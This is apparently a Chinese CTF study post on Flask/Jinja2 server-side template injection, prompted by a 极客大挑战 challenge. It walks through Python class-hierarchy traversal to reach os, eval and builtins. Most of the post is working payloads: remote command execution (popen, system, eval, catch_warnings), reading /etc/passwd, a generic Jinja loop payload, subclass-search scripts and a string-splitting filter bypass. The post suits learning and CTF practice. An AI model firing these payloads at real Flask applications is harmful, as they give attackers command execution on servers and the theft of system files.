- 前言
- flask基础
- SSTI
- 简介
- 魔术方法
- 命令执行
- 文件读取
- 通用命令执行
- 过滤bypass
- 参考文献
从极客大挑战中一道题,虽然挺简单的,但是自己发现在模板注入中有很多不懂的东西。
flask基础先理解flask的流程明白
from flask import flask
@app.route('/index/')
def hello_word():
return 'hello word'
其中@app.route(’/index/’),是将函数跟url绑定起来,当你访问http://xxx/index,flask就会返回helloworld。
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
return render_template('index.html')
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下
html = 'helloworld'
return render_template_string(html)
flask是使用jinjia2来作为渲染引擎的,而{{}}在jinjia中作为变量包裹标识符,flask会将{{}}中的内容当作变量来解析
我们就根据{{}},来引入了flask的SSTI
SSTI 简介SSTI就叫做模板注入,其原理,就是用户控制输入,当输入一定的内容后,数据就可能变成程序的一部分,导致执行一些意外的程序。
在SSTI中,{{}}为变量包裹标识符,比如{{1*2}},就会输出2
运用流程:
先找到父类–>寻找子类–>找关于命令执行或者文件操作的模块。
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
1.获取字符串的类对象
输入:''.__class__
输出:
2 、寻找基类
输入: ''.__class__.__mro__
输出:(,
其中输入:__mro__可以换成__bases__
3.寻找子类
输入:''.__class__.__mro[1]__.__subclasses__()
subclasses加括号,返回子类,不加括号,返回地址
输出:, , .......
这儿我们用python来找到可用的子类
a = """子类"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
# enumerate正对于列表和元组,有序号,需要将上面的字符串全部转换为列表才能遍历。
for k, v in enumerate(allList):
if "os._wrap_close" in v: #找可用的引用类和序号
print(str(k) + "--->" + v)
我们找序号132的os._wrap_close
我们就可以利用这个子类,使用命令执行
{{''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
popen后面的为命令执行语句,popen为全局变量的一个
这儿还有个找os模块的脚本(但是这个感觉不是太好用)
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1
命令执行
利用eval()函数导入os库执行命令
利用本身已经导入os库的类执行命令
利用warnings.catch_warnings执行命令
利用commands执行命令
利用eval函数执行命令
python找eval函数的类
count = -1
for i in ''.__class__.__mro__[-1].__subclasses__():
count += 1
if "warpper" in repr(i.__init__):
pass
else:
try:
if "eval" in repr(i.__init__.__globals__['__builtins__']):
print(count, i)
except:
pass
payload
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
利用本身导入os库的类执行命令
寻找含有os库的类
count = -1
for i in ''.__class__.__mro__[-1].__subclasses__():
count += 1
if "warpper" in repr(i.__init__):
pass
else:
try:
if "os" in repr(i.__init__.__globals__):
print(count, i)
except:
pass
payload
无回显:''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
由回显:''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()
新的payload
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()
利用warnings.catch_warnings执行命令
查看warnings.catch_warnings方法的位置
>>>[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59
查看linecatch的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25
查找os模块的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12
查找system方法的位置(在这里使用os.open().read()
可以实现一样的效果,步骤一样,)
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
137
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('popen')
109
调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[137]('whoami')
root
0
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[109]('whoami').read()
利用commands实现命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')
文件读取
在子类中如果找到了file,我们可以读取文件
{{''.__class__.__mro__[0].__subclasses__[40]('/etc/passwd').read(),直接读取/etc/passwd的文件}}
不仅有file读取文件,我们还可以使用builtin来读取文件
__builtin__.open()
__builtin__.int()
__builtin__.chr()
#__init__初始化属性后
#在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的
count = -1
for i in ().__class__.__mro__[-1].__subclasses__():
count += 1
if "warpper" in repr(i.__init__):
pass
else:
print count, i
#__globals__全局方法,查找当前类包含的所有方法和变量及参数
count = -1
for i in ().__class__.__mro__[-1].__subclasses__():
count += 1
if "warpper" in repr(i.__init__):
pass
else:
try:
if "file" in repr(i.__init__.__globals__):#file可以换
print count, i
except:
pass
找到子类后,builtin是全局变量的一种,我们直接运用开始文件读取
{{''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}
当file换成open后,利用open读取
{{''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
通用命令执行
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
对于不同的题,有不同的修改
过滤bypass羽师傅
https://www.freebuf.com/articles/web/264088.html
y4师傅
参考文献https://www.freebuf.com/articles/network/187845.html
https://xz.aliyun.com/t/3679